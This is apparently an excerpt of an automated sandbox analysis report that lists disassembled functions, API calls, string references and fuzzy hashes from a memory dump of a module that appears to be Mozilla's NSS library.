Part of subcall function 6CAF8800: EnterCriticalSection.KERNEL32(?,?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8856
Part of subcall function 6CAF8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CAF8887
Part of subcall function 6CAF8800: PR_Unlock.NSS3(?,?,?,?,6CB0085A,00000000,?,6CAA8369,?), ref: 6CAF8899

Strings

pkcs11:, xrefs: 6CAEFC4F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 78c87453742a9e7861f772232e57c5e9cb73b13ccd5902e40dd3bdfc19b7479d
Instruction ID: d1cbcc049dcdddccd76f91a7d2cc47dfd6ce3a8088ffb83b60955e55328b12f2
Opcode Fuzzy Hash: 78c87453742a9e7861f772232e57c5e9cb73b13ccd5902e40dd3bdfc19b7479d
Instruction Fuzzy Hash: 1E5106B1B011119BEF008F65AD80B5A3B74EB4935CF29002DED146BB41E731E989EBD2

Function 6CA2B8B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B2E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CB5A4E2), ref: 6CA2B948
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010B19,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?), ref: 6CA2B9BE

Strings

database corruption, xrefs: 6CA2B93C, 6CA2B9B2
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2B932, 6CA2B9A8
%s at line %d of [%.10s], xrefs: 6CA2B941, 6CA2B9B7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: ac97c5955f322f0a52ceb4ba818156c4e9e6d26fd7186a757d4b44e6d6bc3dc3
Instruction ID: f23c2c6a47280ec2c7dd7f655fd3aec6971d3dbc842898355bf89229840d4f20
Opcode Fuzzy Hash: ac97c5955f322f0a52ceb4ba818156c4e9e6d26fd7186a757d4b44e6d6bc3dc3
Instruction Fuzzy Hash: 124137307042549FD704CFA9E880FAA7BB1AF45318F1D45A8E84A9FB52E335EC81CB90

Function 6CA2BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CA2BE02

Part of subcall function 6CB59C40: memcmp.VCRUNTIME140(?,00000000,6CA2C52B), ref: 6CB59D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA2BE9F

Strings

database corruption, xrefs: 6CA2BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2BE89
%s at line %d of [%.10s], xrefs: 6CA2BE98

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 4609c085d17cadfaf152653df51416aa3bbb4896b92b95ca7163d4196c02b241
Instruction ID: ff763d955eb31d9d53e0bf8af643f0e9303ff8faf9534e631907cd87ab366fea
Opcode Fuzzy Hash: 4609c085d17cadfaf152653df51416aa3bbb4896b92b95ca7163d4196c02b241
Instruction Fuzzy Hash: AB314831A042B58BC700CF69E8D4AAFBBB2AF41314B1D8654EE5A1BB41D378EC84C7D1

Function 6CA90DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA90BDE), ref: 6CA90DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA90BDE), ref: 6CA90DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA90BDE), ref: 6CA90DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA90BDE), ref: 6CA90E32

Strings

%s incr => %d (find lib), xrefs: 6CA90E2D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 7176ee4b4290d2e449581bad5a36fedb6c6c50e72cb7194c5d45efc792fef27a
Instruction ID: 4ebf6b7473750a6138d0b4b3bd8d45c0ec7c8e262e56ad0e1386c16f77ef89f7
Opcode Fuzzy Hash: 7176ee4b4290d2e449581bad5a36fedb6c6c50e72cb7194c5d45efc792fef27a
Instruction Fuzzy Hash: E401D4727003549FE7209F249C86E2B73FCDB49A49B05446DE909E3B51EB62FC5886E1

Function 6CA39C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA39CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CA39D45
EnterCriticalSection.KERNEL32(?), ref: 6CA39D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CA39DDE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 260249dc42c2f8b0201e5c6d3f546892727ab472cb71b797fcb6fcad71ba8435
Instruction ID: 1ec9e4ad05a3e92ac60a1a4c1d37fdc636e8209679760de2bb14f0e4c5930569
Opcode Fuzzy Hash: 260249dc42c2f8b0201e5c6d3f546892727ab472cb71b797fcb6fcad71ba8435
Instruction Fuzzy Hash: 56A1A1317041508FEB09DF74EAAA77E3775BB82309F18112DD41A97B40DF3A9886CB92

Function 6CAC1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CAC1ECC

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

TlsGetValue.KERNEL32 ref: 6CAC1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAC1EEF
PR_ExitMonitor.NSS3(?), ref: 6CAC1F37
PR_Unlock.NSS3(?), ref: 6CAC1F44

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: a0be30f54b2db2fed1dfb16b9dee8d3cee8d6ae4b9159c8cb9bdfe4b7d841ab2
Instruction ID: c901d4f6cb420e751286ce89c736ad7eeabdbaffe1115ae419a9cb35ced772e0
Opcode Fuzzy Hash: a0be30f54b2db2fed1dfb16b9dee8d3cee8d6ae4b9159c8cb9bdfe4b7d841ab2
Instruction Fuzzy Hash: 15719D75B043019FD700CF24D840A6AB7F5BF89358F18492AE9A993B11E731E999CBD2

Function 6CB4DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB4DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CB4DE77

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: b01311b19a35cc64bf40e71f26c77fadbca2233c72012ca5c41d4e89f089a750
Instruction ID: c2fe6d4e973ce758510e0093f31580be0800d21352b260002ba8dc6e615d7dbc
Opcode Fuzzy Hash: b01311b19a35cc64bf40e71f26c77fadbca2233c72012ca5c41d4e89f089a750
Instruction Fuzzy Hash: 23717571A08324CFCF20CFAAD580A89B7B4FF49718F25816DD9586B70AD730A945DF81

Function 6CABDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAC1397,5B5F5EC0,?,?,6CABB1EE,2404110F,?,?), ref: 6CABAB3C
Part of subcall function 6CABAB10: free.MOZGLUE(D958E836,?,6CABB1EE,2404110F,?,?), ref: 6CABAB49
Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(5D5E6CCB), ref: 6CABAB5C
Part of subcall function 6CABAB10: free.MOZGLUE(5D5E6CBF), ref: 6CABAB63
Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CABAB6F
Part of subcall function 6CABAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CABAB76

TlsGetValue.KERNEL32(?,?,6CABB266,6CAC15C6,?,?,6CAC15C6), ref: 6CABDFDA
EnterCriticalSection.KERNEL32(?,?,?,6CABB266,6CAC15C6,?,?,6CAC15C6), ref: 6CABDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CABB266,6CAC15C6,?,?,6CAC15C6), ref: 6CABE029
PK11_IsLoggedIn.NSS3 ref: 6CABE046

Part of subcall function 6CAC8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FAF
Part of subcall function 6CAC8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FD1
Part of subcall function 6CAC8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC8FFA
Part of subcall function 6CAC8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAC9013
Part of subcall function 6CAC8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAC9042
Part of subcall function 6CAC8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAC905A
Part of subcall function 6CAC8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAC9073
Part of subcall function 6CAC8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CABDA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAC9111

PR_Unlock.NSS3(?,?,?,?,6CABB266,6CAC15C6,?,?,6CAC15C6), ref: 6CABE149

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4c116dd9e55f48a18e55b04b003f81870cab23ba9f19f82768cfe5d72fb838e1
Instruction ID: 55e27edd83481a0e43aa2d8dad05b5c47eedf729af450949e59ae4134a4f5091
Opcode Fuzzy Hash: 4c116dd9e55f48a18e55b04b003f81870cab23ba9f19f82768cfe5d72fb838e1
Instruction Fuzzy Hash: 41515774604601CFDB10DF28C58476ABBF9FF44309F1989ACD899ABB41D735E889CB82

Function 6CACBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CACBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAA9F71,?,?,00000000), ref: 6CACBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CACBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CACC014

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 464103733237830d849b933b52c19c2122de1505e228e52fa7d993630d94150c
Instruction ID: 3e8649096be174cda0c7178095fee679ae689b7e8625949642359084207265a0
Opcode Fuzzy Hash: 464103733237830d849b933b52c19c2122de1505e228e52fa7d993630d94150c
Instruction Fuzzy Hash: 6041D775B012059BEB00DE65DD40BBA73F9AF45208F194228E919E7B41FB33D989CBD2

Function 6CA9EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA9EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA9EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA9EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9EEEB
free.MOZGLUE(?), ref: 6CA9EEF6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 9d85c0775922216c3f9a065d5fa3b97fb0fad530e4efe7e23ee521b9e23e4170
Instruction ID: 194e34e949b29ee3a6f01cc664641c8de4de7cf035f4f4594f530631bef29c0a
Opcode Fuzzy Hash: 9d85c0775922216c3f9a065d5fa3b97fb0fad530e4efe7e23ee521b9e23e4170
Instruction Fuzzy Hash: 90313A71A10240BBEB209F2DCC467667BF4FB46359F19052CE85A87B52DB32E894CBD1

Function 6CAB1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAB1F1C

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CBC9EBC), ref: 6CAB1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CBC9E9C,?,?,6CBC9E9C), ref: 6CAB200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CAB2020

Part of subcall function 6CAA6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CAAAD50,?,?), ref: 6CAA6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAB2030

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: eb34fe8f2f294dc2bcc963af1c25b6f6c7f512672af6e8810c81a1a4fc946748
Instruction ID: d485697a9b2e01f5a3dc782d578587ecb8808e0c2bbddcf1fcaf6ab7f513a736
Opcode Fuzzy Hash: eb34fe8f2f294dc2bcc963af1c25b6f6c7f512672af6e8810c81a1a4fc946748
Instruction Fuzzy Hash: 6121E975A01506ABE7014E25DD40FAA7B6CFF4131CF180616F928A6F80E732E9ACC7A1

Function 6CAE1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CAC6295,?,00000000,00000000,00000001,6CAE2653,?), ref: 6CAE1ECB

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CAC6295,?,00000000,00000000,00000001,6CAE2653,?), ref: 6CAE1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CAE1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CAE1F39

Part of subcall function 6CAEFE20: TlsGetValue.KERNEL32(6CAC5ADC,?,00000000,00000001,?,?,00000000,?,6CABBA55,?,?), ref: 6CAEFE4B
Part of subcall function 6CAEFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAEFE5F

PR_Unlock.NSS3(?), ref: 6CAE1F67

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 446db0d13e8d093e768bdb17f1b9f04a91f4189f48c51bbd42432a4d5fef1301
Instruction ID: 7317a267c971a2e93117d23c65e9beeacc5510fd91ff389c0fafd65d43ece649
Opcode Fuzzy Hash: 446db0d13e8d093e768bdb17f1b9f04a91f4189f48c51bbd42432a4d5fef1301
Instruction Fuzzy Hash: 45210675A042149BEB00AF29EC44AAA3779EF49368F184125FE1887702E731D9D496D0

Function 6CAA1DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CAA1E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CAA1E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA1E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CAA1E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CAA1EAD

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: f83bae2ea8a73437c2b185109c155beee33b7cc3648cfe2dd24a8bf34a99ba98
Instruction ID: 919fed29147e50a51d6e47d190d19b6c6ad524179a2697b1570ab837e1cfa82d
Opcode Fuzzy Hash: f83bae2ea8a73437c2b185109c155beee33b7cc3648cfe2dd24a8bf34a99ba98
Instruction Fuzzy Hash: 72210672E08350EBD7108EA8DC40BBF73A59B84728F188638EE6D57784E731D94987D2

Function 6CBB1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBB1E5C

Part of subcall function 6CB69BF0: TlsGetValue.KERNEL32(?,?,?,6CBB0A75), ref: 6CB69C07

PR_Lock.NSS3(00000000), ref: 6CBB1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBB1EAB
PR_GetCurrentThread.NSS3 ref: 6CBB1ED0
PR_Unlock.NSS3(?), ref: 6CBB1EE8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

